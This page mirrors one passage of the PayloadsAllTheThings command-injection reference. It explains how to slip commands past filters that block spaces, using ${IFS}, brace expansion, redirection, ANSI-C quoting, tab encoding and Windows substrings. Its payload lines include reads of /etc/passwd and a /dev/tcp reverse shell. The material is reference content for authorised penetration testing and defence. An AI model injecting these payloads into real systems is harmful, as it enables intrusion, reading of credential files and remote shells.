Skip to content
BackEsc
Connect AISign inSign up free

Command Injection · passage 7 of 28

Bypass Without Space

Text · Command Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Connect AI

Open this passage on GitHub

* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.

  cat${IFS}/etc/passwd
  ls${IFS}-la

* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.

  {cat,/etc/passwd}

* Input redirection. The < character tells the shell to read the contents of the file specified.

  cat</etc/passwd
  sh</dev/tcp/127.0.0.1/4242

* ANSI-C Quoting

  X=$'uname\x20-a'&&$X

* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.

  ;ls%09-al%09/home

* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.

  ping%CommonProgramFiles:~10,-18%127.0.0.1
  ping%PROGRAMFILES:~10,-5%127.0.0.1

Source: Command Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 28 is a mark on the map. Named now: 1 to 26, reading order first.

  1. Command Injection§ 1text · README.md
  2. Methodology§ 21 code block · README.md
  3. Basic Commands§ 31 code block · README.md
  4. Chaining Commands§ 41 code block · README.md
  5. Argument Injection§ 51 code block · README.md
  6. Inside A Command§ 6text · README.md
  7. Bypass Without Space§ 7text · README.md
  8. Bypass With A Line Return§ 81 code block · README.md
  9. Bypass With Backslash Newline§ 9text · README.md
  10. Bypass With Tilde Expansion§ 101 code block · README.md
  11. Bypass With Brace Expansion§ 111 code block · README.md
  12. Bypass Characters Filter§ 121 code block · README.md
  13. Bypass Characters Filter Via Hex Encoding§ 131 code block · README.md
  14. Bypass With Single Quote§ 141 code block · README.md
  15. Bypass With Double Quote§ 151 code block · README.md
  16. Bypass With Backticks§ 161 code block · README.md
  17. Bypass With Backslash and Slash§ 171 code block · README.md
  18. Bypass With $@§ 181 code block · README.md
  19. Bypass With $()§ 191 code block · README.md
  20. Bypass With Variable Expansion§ 201 code block · README.md
  21. Bypass With Wildcards§ 211 code block · README.md
  22. Bypass With Random Case§ 221 code block · README.md
  23. Time Based Data Exfiltration§ 23text · README.md
  24. Dns Based Data Exfiltration§ 24text · README.md
  25. Polyglot Command Injection§ 25text · README.md
  26. Backgrounding Long Running Commands§ 261 code block · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-15 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

CyberSIXTSignal over noise
Sign inSign up free

Updated